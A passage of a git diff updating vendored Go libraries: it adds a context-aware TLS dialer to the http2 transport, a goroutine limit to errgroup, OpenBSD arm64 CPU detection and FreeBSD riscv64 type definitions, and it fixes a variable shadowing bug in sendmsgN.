b/vendor/golang.org/x/net/http2/transport.go index 4ded4dfd5..90fdc28cf 100644 --- a/vendor/golang.org/x/net/http2/transport.go +++ b/vendor/golang.org/x/net/http2/transport.go @@ -67,13 +67,23 @@ const ( // A Transport internally caches connections to servers. It is safe // for concurrent use by multiple goroutines. type Transport struct { - // DialTLS specifies an optional dial function for creating - // TLS connections for requests. + // DialTLSContext specifies an optional dial function with context for + // creating TLS connections for requests. // - // If DialTLS is nil, tls.Dial is used. + // If DialTLSContext and DialTLS is nil, tls.Dial is used. // // If the returned net.Conn has a ConnectionState method like tls.Conn, // it will be used to set http.Response.TLS. + DialTLSContext func(ctx context.Context, network, addr string, cfg *tls.Config) (net.Conn, error) + + // DialTLS specifies an optional dial function for creating + // TLS connections for requests. + // + // If DialTLSContext and DialTLS is nil, tls.Dial is used. + // + // Deprecated: Use DialTLSContext instead, which allows the transport + // to cancel dials as soon as they are no longer needed. + // If both are set, DialTLSContext takes priority. DialTLS func(network, addr string, cfg *tls.Config) (net.Conn, error) // TLSClientConfig specifies the TLS configuration to use with @@ -592,7 +602,7 @@ func (t *Transport) dialClientConn(ctx context.Context, addr string, singleUse b if err != nil { return nil, err } - tconn, err := t.dialTLS(ctx)("tcp", addr, t.newTLSConfig(host)) + tconn, err := t.dialTLS(ctx, "tcp", addr, t.newTLSConfig(host)) if err != nil { return nil, err } @@ -613,24 +623,25 @@ func (t *Transport) newTLSConfig(host string) *tls.Config { return cfg } -func (t *Transport) dialTLS(ctx context.Context) func(string, string, *tls.Config) (net.Conn, error) { - if t.DialTLS != nil { - return t.DialTLS +func (t *Transport) dialTLS(ctx context.Context, network, addr string, tlsCfg *tls.Config) (net.Conn, error) { + if t.DialTLSContext != nil { + return t.DialTLSContext(ctx, network, addr, tlsCfg) + } else if t.DialTLS != nil { + return t.DialTLS(network, addr, tlsCfg) } - return func(network, addr string, cfg *tls.Config) (net.Conn, error) { - tlsCn, err := t.dialTLSWithContext(ctx, network, addr, cfg) - if err != nil { - return nil, err - } - state := tlsCn.ConnectionState() - if p := state.NegotiatedProtocol; p != NextProtoTLS { - return nil, fmt.Errorf("http2: unexpected ALPN protocol %q; want %q", p, NextProtoTLS) - } - if !state.NegotiatedProtocolIsMutual { - return nil, errors.New("http2: could not negotiate protocol mutually") - } - return tlsCn, nil + + tlsCn, err := t.dialTLSWithContext(ctx, network, addr, tlsCfg) + if err != nil { + return nil, err + } + state := tlsCn.ConnectionState() + if p := state.NegotiatedProtocol; p != NextProtoTLS { + return nil, fmt.Errorf("http2: unexpected ALPN protocol %q; want %q", p, NextProtoTLS) + } + if !state.NegotiatedProtocolIsMutual { + return nil, errors.New("http2: could not negotiate protocol mutually") } + return tlsCn, nil } // disableKeepAlives reports whether connections should be closed as diff --git a/vendor/golang.org/x/net/internal/socket/zsys_freebsd_riscv64.go b/vendor/golang.org/x/net/internal/socket/zsys_freebsd_riscv64.go new file mode 100644 index 000000000..965c0b28b --- /dev/null +++ b/vendor/golang.org/x/net/internal/socket/zsys_freebsd_riscv64.go @@ -0,0 +1,30 @@ +// Code generated by cmd/cgo -godefs; DO NOT EDIT. +// cgo -godefs defs_freebsd.go + +package socket + +type iovec struct { + Base *byte + Len uint64 +} + +type msghdr struct { + Name *byte + Namelen uint32 + Iov *iovec + Iovlen int32 + Control *byte + Controllen uint32 + Flags int32 +} + +type cmsghdr struct { + Len uint32 + Level int32 + Type int32 +} + +const ( + sizeofIovec = 0x10 + sizeofMsghdr = 0x30 +) diff --git a/vendor/golang.org/x/net/ipv4/zsys_freebsd_riscv64.go b/vendor/golang.org/x/net/ipv4/zsys_freebsd_riscv64.go new file mode 100644 index 000000000..0feb9a753 --- /dev/null +++ b/vendor/golang.org/x/net/ipv4/zsys_freebsd_riscv64.go @@ -0,0 +1,52 @@ +// Code generated by cmd/cgo -godefs; DO NOT EDIT. +// cgo -godefs defs_freebsd.go + +package ipv4 + +const ( + sizeofSockaddrStorage = 0x80 + sizeofSockaddrInet = 0x10 + + sizeofIPMreq = 0x8 + sizeofIPMreqSource = 0xc + sizeofGroupReq = 0x88 + sizeofGroupSourceReq = 0x108 +) + +type sockaddrStorage struct { + Len uint8 + Family uint8 + X__ss_pad1 [6]uint8 + X__ss_align int64 + X__ss_pad2 [112]uint8 +} + +type sockaddrInet struct { + Len uint8 + Family uint8 + Port uint16 + Addr [4]byte /* in_addr */ + Zero [8]uint8 +} + +type ipMreq struct { + Multiaddr [4]byte /* in_addr */ + Interface [4]byte /* in_addr */ +} + +type ipMreqSource struct { + Multiaddr [4]byte /* in_addr */ + Sourceaddr [4]byte /* in_addr */ + Interface [4]byte /* in_addr */ +} + +type groupReq struct { + Interface uint32 + Group sockaddrStorage +} + +type groupSourceReq struct { + Interface uint32 + Group sockaddrStorage + Source sockaddrStorage +} diff --git a/vendor/golang.org/x/net/ipv6/zsys_freebsd_riscv64.go b/vendor/golang.org/x/net/ipv6/zsys_freebsd_riscv64.go new file mode 100644 index 000000000..5b39eb8df --- /dev/null +++ b/vendor/golang.org/x/net/ipv6/zsys_freebsd_riscv64.go @@ -0,0 +1,64 @@ +// Code generated by cmd/cgo -godefs; DO NOT EDIT. +// cgo -godefs defs_freebsd.go + +package ipv6 + +const ( + sizeofSockaddrStorage = 0x80 + sizeofSockaddrInet6 = 0x1c + sizeofInet6Pktinfo = 0x14 + sizeofIPv6Mtuinfo = 0x20 + + sizeofIPv6Mreq = 0x14 + sizeofGroupReq = 0x88 + sizeofGroupSourceReq = 0x108 + + sizeofICMPv6Filter = 0x20 +) + +type sockaddrStorage struct { + Len uint8 + Family uint8 + X__ss_pad1 [6]uint8 + X__ss_align int64 + X__ss_pad2 [112]uint8 +} + +type sockaddrInet6 struct { + Len uint8 + Family uint8 + Port uint16 + Flowinfo uint32 + Addr [16]byte /* in6_addr */ + Scope_id uint32 +} + +type inet6Pktinfo struct { + Addr [16]byte /* in6_addr */ + Ifindex uint32 +} + +type ipv6Mtuinfo struct { + Addr sockaddrInet6 + Mtu uint32 +} + +type ipv6Mreq struct { + Multiaddr [16]byte /* in6_addr */ + Interface uint32 +} + +type groupReq struct { + Interface uint32 + Group sockaddrStorage +} + +type groupSourceReq struct { + Interface uint32 + Group sockaddrStorage + Source sockaddrStorage +} + +type icmpv6Filter struct { + Filt [8]uint32 +} diff --git a/vendor/golang.org/x/oauth2/AUTHORS b/vendor/golang.org/x/oauth2/AUTHORS deleted file mode 100644 index 15167cd74..000000000 --- a/vendor/golang.org/x/oauth2/AUTHORS +++ /dev/null @@ -1,3 +0,0 @@ -# This source code refers to The Go Authors for copyright purposes. -# The master list of authors is in the main Go distribution, -# visible at http://tip.golang.org/AUTHORS. diff --git a/vendor/golang.org/x/oauth2/CONTRIBUTORS b/vendor/golang.org/x/oauth2/CONTRIBUTORS deleted file mode 100644 index 1c4577e96..000000000 --- a/vendor/golang.org/x/oauth2/CONTRIBUTORS +++ /dev/null @@ -1,3 +0,0 @@ -# This source code was written by the Go contributors. -# The master list of contributors is in the main Go distribution, -# visible at http://tip.golang.org/CONTRIBUTORS. diff --git a/vendor/golang.org/x/sync/AUTHORS b/vendor/golang.org/x/sync/AUTHORS deleted file mode 100644 index 15167cd74..000000000 --- a/vendor/golang.org/x/sync/AUTHORS +++ /dev/null @@ -1,3 +0,0 @@ -# This source code refers to The Go Authors for copyright purposes. -# The master list of authors is in the main Go distribution, -# visible at http://tip.golang.org/AUTHORS. diff --git a/vendor/golang.org/x/sync/CONTRIBUTORS b/vendor/golang.org/x/sync/CONTRIBUTORS deleted file mode 100644 index 1c4577e96..000000000 --- a/vendor/golang.org/x/sync/CONTRIBUTORS +++ /dev/null @@ -1,3 +0,0 @@ -# This source code was written by the Go contributors. -# The master list of contributors is in the main Go distribution, -# visible at http://tip.golang.org/CONTRIBUTORS. diff --git a/vendor/golang.org/x/sync/errgroup/errgroup.go b/vendor/golang.org/x/sync/errgroup/errgroup.go index 9857fe53d..4c0850a45 100644 --- a/vendor/golang.org/x/sync/errgroup/errgroup.go +++ b/vendor/golang.org/x/sync/errgroup/errgroup.go @@ -8,22 +8,35 @@ package errgroup import ( "context" + "fmt" "sync" ) +type token struct{} + // A Group is a collection of goroutines working on subtasks that are part of // the same overall task. // -// A zero Group is valid and does not cancel on error. +// A zero Group is valid, has no limit on the number of active goroutines, +// and does not cancel on error. type Group struct { cancel func() wg sync.WaitGroup + sem chan token + errOnce sync.Once err error } +func (g *Group) done() { + if g.sem != nil { + <-g.sem + } + g.wg.Done() +} + // WithContext returns a new Group and an associated Context derived from ctx. // // The derived Context is canceled the first time a function passed to Go @@ -45,14 +58,48 @@ func (g *Group) Wait() error { } // Go calls the given function in a new goroutine. +// It blocks until the new goroutine can be added without the number of +// active goroutines in the group exceeding the configured limit. // // The first call to return a non-nil error cancels the group; its error will be // returned by Wait. func (g *Group) Go(f func() error) { + if g.sem != nil { + g.sem <- token{} + } + g.wg.Add(1) + go func() { + defer g.done() + + if err := f(); err != nil { + g.errOnce.Do(func() { + g.err = err + if g.cancel != nil { + g.cancel() + } + }) + } + }() +} + +// TryGo calls the given function in a new goroutine only if the number of +// active goroutines in the group is currently below the configured limit. +// +// The return value reports whether the goroutine was started. +func (g *Group) TryGo(f func() error) bool { + if g.sem != nil { + select { + case g.sem <- token{}: + // Note: this allows barging iff channels in general allow barging. + default: + return false + } + } + g.wg.Add(1) go func() { - defer g.wg.Done() + defer g.done() if err := f(); err != nil { g.errOnce.Do(func() { @@ -63,4 +110,23 @@ func (g *Group) Go(f func() error) { }) } }() + return true +} + +// SetLimit limits the number of active goroutines in this group to at most n. +// A negative value indicates no limit. +// +// Any subsequent call to the Go method will block until it can add an active +// goroutine without exceeding the configured limit. +// +// The limit must not be modified while any goroutines in the group are active. +func (g *Group) SetLimit(n int) { + if n < 0 { + g.sem = nil + return + } + if len(g.sem) != 0 { + panic(fmt.Errorf("errgroup: modify limit while %v goroutines in the group are still active", len(g.sem))) + } + g.sem = make(chan token, n) } diff --git a/vendor/golang.org/x/sys/cpu/cpu_arm64.go b/vendor/golang.org/x/sys/cpu/cpu_arm64.go index 87dd5e302..bbaba18bc 100644 --- a/vendor/golang.org/x/sys/cpu/cpu_arm64.go +++ b/vendor/golang.org/x/sys/cpu/cpu_arm64.go @@ -41,13 +41,10 @@ func archInit() { switch runtime.GOOS { case "freebsd": readARM64Registers() - case "linux", "netbsd": + case "linux", "netbsd", "openbsd": doinit() default: - // Most platforms don't seem to allow reading these registers. - // - // OpenBSD: - // See https://golang.org/issue/31746 + // Many platforms don't seem to allow reading these registers. setMinimalFeatures() } } diff --git a/vendor/golang.org/x/sys/cpu/cpu_openbsd_arm64.go b/vendor/golang.org/x/sys/cpu/cpu_openbsd_arm64.go new file mode 100644 index 000000000..85b64d5cc --- /dev/null +++ b/vendor/golang.org/x/sys/cpu/cpu_openbsd_arm64.go @@ -0,0 +1,65 @@ +// Copyright 2022 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package cpu + +import ( + "syscall" + "unsafe" +) + +// Minimal copy of functionality from x/sys/unix so the cpu package can call +// sysctl without depending on x/sys/unix. + +const ( + // From OpenBSD's sys/sysctl.h. + _CTL_MACHDEP = 7 + + // From OpenBSD's machine/cpu.h. + _CPU_ID_AA64ISAR0 = 2 + _CPU_ID_AA64ISAR1 = 3 +) + +// Implemented in the runtime package (runtime/sys_openbsd3.go) +func syscall_syscall6(fn, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err syscall.Errno) + +//go:linkname syscall_syscall6 syscall.syscall6 + +func sysctl(mib []uint32, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) { + _, _, errno := syscall_syscall6(libc_sysctl_trampoline_addr, uintptr(unsafe.Pointer(&mib[0])), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen)) + if errno != 0 { + return errno + } + return nil +} + +var libc_sysctl_trampoline_addr uintptr + +//go:cgo_import_dynamic libc_sysctl sysctl "libc.so" + +func sysctlUint64(mib []uint32) (uint64, bool) { + var out uint64 + nout := unsafe.Sizeof(out) + if err := sysctl(mib, (*byte)(unsafe.Pointer(&out)), &nout, nil, 0); err != nil { + return 0, false + } + return out, true +} + +func doinit() { + setMinimalFeatures() + + // Get ID_AA64ISAR0 and ID_AA64ISAR1 from sysctl. + isar0, ok := sysctlUint64([]uint32{_CTL_MACHDEP, _CPU_ID_AA64ISAR0}) + if !ok { + return + } + isar1, ok := sysctlUint64([]uint32{_CTL_MACHDEP, _CPU_ID_AA64ISAR1}) + if !ok { + return + } + parseARM64SystemRegisters(isar0, isar1, 0) + + Initialized = true +} diff --git a/vendor/golang.org/x/sys/cpu/cpu_openbsd_arm64.s b/vendor/golang.org/x/sys/cpu/cpu_openbsd_arm64.s new file mode 100644 index 000000000..054ba05d6 --- /dev/null +++ b/vendor/golang.org/x/sys/cpu/cpu_openbsd_arm64.s @@ -0,0 +1,11 @@ +// Copyright 2022 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +#include "textflag.h" + +TEXT libc_sysctl_trampoline<>(SB),NOSPLIT,$0-0 + JMP libc_sysctl(SB) + +GLOBL ·libc_sysctl_trampoline_addr(SB), RODATA, $8 +DATA ·libc_sysctl_trampoline_addr(SB)/8, $libc_sysctl_trampoline<>(SB) diff --git a/vendor/golang.org/x/sys/cpu/cpu_other_arm64.go b/vendor/golang.org/x/sys/cpu/cpu_other_arm64.go index f8c484f58..f3cde129b 100644 --- a/vendor/golang.org/x/sys/cpu/cpu_other_arm64.go +++ b/vendor/golang.org/x/sys/cpu/cpu_other_arm64.go @@ -2,8 +2,8 @@ // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. -//go:build !linux && !netbsd && arm64 -// +build !linux,!netbsd,arm64 +//go:build !linux && !netbsd && !openbsd && arm64 +// +build !linux,!netbsd,!openbsd,arm64 package cpu diff --git a/vendor/golang.org/x/sys/unix/mkall.sh b/vendor/golang.org/x/sys/unix/mkall.sh index dcef4de6f..6fc18353d 100644 --- a/vendor/golang.org/x/sys/unix/mkall.sh +++ b/vendor/golang.org/x/sys/unix/mkall.sh @@ -73,12 +73,12 @@ aix_ppc64) darwin_amd64) mkerrors="$mkerrors -m64" mktypes="GOARCH=$GOARCH go tool cgo -godefs" - mkasm="go run mkasm_darwin.go" + mkasm="go run mkasm.go" ;; darwin_arm64) mkerrors="$mkerrors -m64" mktypes="GOARCH=$GOARCH go tool cgo -godefs" - mkasm="go run mkasm_darwin.go" + mkasm="go run mkasm.go" ;; dragonfly_amd64) mkerrors="$mkerrors -m64" @@ -142,17 +142,17 @@ netbsd_arm64) mktypes="GOARCH=$GOARCH go tool cgo -godefs" ;; openbsd_386) + mkasm="go run mkasm.go" mkerrors="$mkerrors -m32" - mksyscall="go run mksyscall.go -l32 -openbsd" + mksyscall="go run mksyscall.go -l32 -openbsd -libc" mksysctl="go run mksysctl_openbsd.go" - mksysnum="go run mksysnum.go 'https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/kern/syscalls.master'" mktypes="GOARCH=$GOARCH go tool cgo -godefs" ;; openbsd_amd64) + mkasm="go run mkasm.go" mkerrors="$mkerrors -m64" - mksyscall="go run mksyscall.go -openbsd" + mksyscall="go run mksyscall.go -openbsd -libc" mksysctl="go run mksysctl_openbsd.go" - mksysnum="go run mksysnum.go 'https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/kern/syscalls.master'" mktypes="GOARCH=$GOARCH go tool cgo -godefs" ;; openbsd_arm) @@ -165,10 +165,10 @@ openbsd_arm) mktypes="GOARCH=$GOARCH go tool cgo -godefs -- -fsigned-char" ;; openbsd_arm64) + mkasm="go run mkasm.go" mkerrors="$mkerrors -m64" - mksyscall="go run mksyscall.go -openbsd" + mksyscall="go run mksyscall.go -openbsd -libc" mksysctl="go run mksysctl_openbsd.go" - mksysnum="go run mksysnum.go 'https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/kern/syscalls.master'" # Let the type of C char be signed for making the bare syscall # API consistent across platforms. mktypes="GOARCH=$GOARCH go tool cgo -godefs -- -fsigned-char" @@ -232,5 +232,5 @@ esac if [ -n "$mksysctl" ]; then echo "$mksysctl |gofmt >$zsysctl"; fi if [ -n "$mksysnum" ]; then echo "$mksysnum |gofmt >zsysnum_$GOOSARCH.go"; fi if [ -n "$mktypes" ]; then echo "$mktypes types_$GOOS.go | go run mkpost.go > ztypes_$GOOSARCH.go"; fi - if [ -n "$mkasm" ]; then echo "$mkasm $GOARCH"; fi + if [ -n "$mkasm" ]; then echo "$mkasm $GOOS $GOARCH"; fi ) | $run diff --git a/vendor/golang.org/x/sys/unix/syscall_aix.go b/vendor/golang.org/x/sys/unix/syscall_aix.go index e2a30e88c..2db1b51e9 100644 --- a/vendor/golang.org/x/sys/unix/syscall_aix.go +++ b/vendor/golang.org/x/sys/unix/syscall_aix.go @@ -253,7 +253,7 @@ func sendmsgN(fd int, iov []Iovec, oob []byte, ptr unsafe.Pointer, salen _Sockle var empty bool if len(oob) > 0 { // send at least one normal byte - empty := emptyIovecs(iov) + empty = emptyIovecs(iov) if empty { var iova [1]Iovec iova[0].Base = &dummy diff --git a/vendor/golang.org/x/sys/unix/syscall_bsd.go b/vendor/golang.org/x/sys/unix/syscall_bsd.go index c437fc5d7..eda42671f 100644 --- a/vendor/golang.org/x/sys/unix/syscall_bsd.go +++ b/vendor/golang.org/x/sys/unix/syscall_bsd.go @@ -363,7 +363,7 @@ func sendmsgN(fd int, iov []Iovec, oob []byte, ptr unsafe.Pointer, salen _Sockle var empty bool if len(oob) > 0 { // send at least one normal byte - empty := emptyIovecs(iov) + empty = emptyIovecs(iov) if empty { var iova [1]Iovec iova[0].Base = &dummy diff --git a/vendor/golang.org/x/sys/unix/syscall_linux.go b/vendor/golang.org/x/sys/unix/syscall_linux.go index 5e4a94f73..ecb0f27fb 100644 --- a/vendor/golang.org/x/sys/unix/syscall_linux.go +++ b/vendor/golang.org/x/sys/unix/syscall_linux.go @@ -1541,7 +1541,7 @@ func sendmsgN(fd int, iov []Iovec, oob []byte, ptr unsafe.Pointer, salen _Sockle var dummy byte var empty bool if len(oob) > 0 { - empty := emptyIovecs(iov) + empty = emptyIovecs(iov) if empty { var sockType int sockType, err = GetsockoptInt(fd, SOL_SOCKET, SO_TYPE) diff --git a/vendor/golang.org/x/sys/unix/syscall_openbsd_libc.go b/vendor/golang.org/x/sys/unix/syscall_openbsd_libc.go new file mode 100644 index 000000000..e23c33de6 --- /dev/null +++ b/vendor/golang.org/x/sys/unix/syscall_openbsd_libc.go @@ -0,0 +1,27 @@ +// Copyright 2022 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build (openbsd && 386) || (openbsd && amd64) || (openbsd && arm64) +// +build openbsd,386 openbsd,amd64 openbsd,arm64 + +package unix + +import _ "unsafe" + +// Implemented in the runtime package (runtime/sys_openbsd3.go) +func syscall_syscall(fn, a1, a2, a3 uintptr) (r1, r2 uintptr, err Errno) +func syscall_syscall6(fn, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err Errno) +func syscall_syscall10(fn, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10 uintptr) (r1, r2 uintptr, err Errno) +func syscall_rawSyscall(fn, a1, a2, a3 uintptr) (r1, r2 uintptr, err Errno) +func syscall_rawSyscall6(fn, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err Errno) + +//go:linkname syscall_syscall syscall.syscall +//go:linkname syscall_syscall6 syscall.syscall6 +//go:linkname syscall_syscall10 syscall.syscall10 +//go:linkname syscall_rawSyscall syscall.rawSyscall +//go:linkname syscall_rawSyscall6 syscall.rawSyscall6 + +func syscall_syscall9(fn, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr, err Errno) { + return syscall_syscall10(fn, a1, a2, a3, a4, a5, a6, a7, a8, a9, 0) +} diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_386.go b/vendor/golang.org/x/sys/unix/zerrors_linux_386.go index 274e2dabd..36c0dfc7c 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_386.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_386.go @@ -1,11 +1,11 @@ -// mkerrors.sh -Wall -Werror -static -I/tmp/include -m32 +// mkerrors.sh -Wall -Werror -static -I/tmp/386/include -m32 // Code generated by the command above; see README.md. DO NOT EDIT. //go:build 386 && linux // +build 386,linux // Code generated by cmd/cgo -godefs; DO NOT EDIT. -// cgo -godefs -- -Wall -Werror -static -I/tmp/include -m32 _const.go +// cgo -godefs -- -Wall -Werror -static -I/tmp/386/include -m32 _const.go package unix diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_amd64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_amd64.go index 95b6eeedf..4ff942703 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_amd64.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_amd64.go @@ -1,11 +1,11 @@ -// mkerrors.sh -Wall -Werror -static -I/tmp/include -m64 +// mkerrors.sh -Wall -Werror -static -I/tmp/amd64/include -m64 // Code generated by the command above; see README.md. DO NOT EDIT. //go:build amd64 && linux // +build amd64,linux // Code generated by cmd/cgo -godefs; DO NOT EDIT. -// cgo -godefs -- -Wall -Werror -static -I/tmp/include -m64 _const.go +// cgo -godefs -- -Wall -Werror -static -I/tmp/amd64/include -m64 _const.go package unix diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_arm.go b/vendor/golang.org/x/sys/unix/zerrors_linux_arm.go index 918cd130e..3eaa0fb78 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_arm.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_arm.go @@ -1,11 +1,11 @@ -// mkerrors.sh -Wall -Werror -static -I/tmp/include +// mkerrors.sh -Wall -Werror -static -I/tmp/arm/include // Code generated by the command above; see README.md. DO NOT EDIT. //go:build arm && linux // +build arm,linux // Code generated by cmd/cgo -godefs; DO NOT EDIT. -// cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go +// cgo -godefs -- -Wall -Werror -static -I/tmp/arm/include _const.go package unix diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_arm64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_arm64.go index 3907dc5a9..d7995bdc3 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_arm64.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_arm64.go @@ -1,11 +1,11 @@ -// mkerrors.sh -Wall -Werror -static -I/tmp/include -fsigned-char +// mkerrors.sh -Wall -Werror -static -I/tmp/arm64/include -fsigned-char // Code generated by the command above; see README.md. DO NOT EDIT. //go:build arm64 && linux // +build arm64,linux // Code generated by cmd/cgo -godefs; DO NOT EDIT. -// cgo -godefs -- -Wall -Werror -static -I/tmp/include -fsigned-char _const.go +// cgo -godefs -- -Wall -Werror -static -I/tmp/arm64/include -fsigned-char _const.go package unix diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_loong64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_loong64.go index 03d5c105a..928e24c20 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_loong64.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_loong64.go @@ -1,11 +1,11 @@ -// mkerrors.sh -Wall -Werror -static -I/tmp/include +// mkerrors.sh -Wall -Werror -static -I/tmp/loong64/include // Code generated by the command above; see README.md. DO NOT EDIT. //go:build loong64 && linux // +build loong64,linux // Code generated by cmd/cgo -godefs; DO NOT EDIT. -// cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go +// cgo -godefs -- -Wall -Werror -static -I/tmp/loong64/include _const.go package unix diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_mips.go b/vendor/golang.org/x/sys/unix/zerrors_linux_mips.go index bd794e010..179bffb47 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_mips.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_mips.go @@ -1,11 +1,11 @@ -// mkerrors.sh -Wall -Werror -static -I/tmp/include +// mkerrors.sh -Wall -Werror -static -I/tmp/mips/include // Code generated by the command above; see README.md. DO NOT EDIT. //go:build mips && linux // +build mips,linux // Code generated by cmd/cgo -godefs; DO NOT EDIT. -// cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go +// cgo -godefs -- -Wall -Werror -static -I/tmp/mips/include _const.go package unix diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_mips64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_mips64.go index 6c741b054..1fba17bd7 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_mips64.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_mips64.go @@ -1,11 +1,11 @@ -// mkerrors.sh -Wall -Werror -static -I/tmp/include +// mkerrors.sh -Wall -Werror -static -I/tmp/mips64/include // Code generated by the command above; see README.md. DO NOT EDIT. //go:build mips64 && linux // +build mips64,linux // Code generated by cmd/cgo -godefs; DO NOT EDIT. -// cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go +// cgo -godefs -- -Wall -Werror -static -I/tmp/mips64/include _const.go package unix diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_mips64le.go b/vendor/golang.org/x/sys/unix/zerrors_linux_mips64le.go index 807b8cd2a..b77dde315 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_mips64le.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_mips64le.go @@ -1,11 +1,11 @@ -// mkerrors.sh -Wall -Werror -static -I/tmp/include +// mkerrors.sh -Wall -Werror -static -I/tmp/mips64le/include // Code generated by the command above; see README.md. DO NOT EDIT. //go:build mips64le && linux // +build mips64le,linux // Code generated by cmd/cgo -godefs; DO NOT EDIT. -// cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go +// cgo -godefs -- -Wall -Werror -static -I/tmp/mips64le/include _const.go package unix diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_mipsle.go b/vendor/golang.org/x/sys/unix/zerrors_linux_mipsle.go index a39e4f5c2..78c6c751b 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_mipsle.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_mipsle.go @@ -1,11 +1,11 @@ -// mkerrors.sh -Wall -Werror -static -I/tmp/include +// mkerrors.sh -Wall -Werror -static -I/tmp/mipsle/include // Code generated by the command above; see README.md. DO NOT EDIT. //go:build mipsle && linux // +build mipsle,linux // Code generated by cmd/cgo -godefs; DO NOT EDIT. -// cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go +// cgo -godefs -- -Wall -Werror -static -I/tmp/mipsle/include _const.go package unix diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_ppc.go b/vendor/golang.org/x/sys/unix/zerrors_linux_ppc.go index c0fcda86b..1c0d31f0b 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_ppc.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_ppc.go @@ -1,11 +1,11 @@ -// mkerrors.sh -Wall -Werror -static -I/tmp/include +// mkerrors.sh -Wall -Werror -static -I/tmp/ppc/include // Code generated by the command above; see README.md. DO NOT EDIT. //go:build ppc && linux // +build ppc,linux // Code generated by cmd/cgo -godefs; DO NOT EDIT. -// cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go +// cgo -godefs -- -Wall -Werror -static -I/tmp/ppc/include _const.go package unix diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64.go index f3b72407a..959dd9bb8 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64.go @@ -1,11 +1,11 @@ -// mkerrors.sh -Wall -Werror -static -I/tmp/include +// mkerrors.sh -Wall -Werror -static -I/tmp/ppc64/include // Code generated by the command above; see README.md. DO NOT EDIT. //go:build ppc64 && linux // +build ppc64,linux // Code generated by cmd/cgo -godefs; DO NOT EDIT. -// cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go +// cgo -godefs -- -Wall -Werror -static -I/tmp/ppc64/include _const.go package unix diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64le.go b/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64le.go index 72f2a45d5..5a873cdbc 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64le.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_ppc64le.go @@ -1,11 +1,11 @@ -// mkerrors.sh -Wall -Werror -static -I/tmp/include +// mkerrors.sh -Wall -Werror -static -I/tmp/ppc64le/include // Code generated by the command above; see README.md. DO NOT EDIT. //go:build ppc64le && linux // +build ppc64le,linux // Code generated by cmd/cgo -godefs; DO NOT EDIT. -// cgo -godefs -- -Wall -Werror -static -I/tmp/include _const.go +// cgo -godefs -- -Wall -Werror -static -I/tmp/ppc64le/include _const.go package unix diff --git a/vendor/golang.org/x/sys/unix/zerrors_linux_riscv64.go b/vendor/golang.org/x/sys/unix/zerrors_linux_riscv64.go index 45b214b4d..e336d141e 100644 --- a/vendor/golang.org/x/sys/unix/zerrors_linux_riscv64.go +++ b/vendor/golang.org/x/sys/unix/zerrors_linux_riscv64.go @@ -1,11 +1,11 @@ -// mkerrors.sh -Wall -Werror -static -I/tmp/include +// mkerrors.sh -Wall -Werror -static 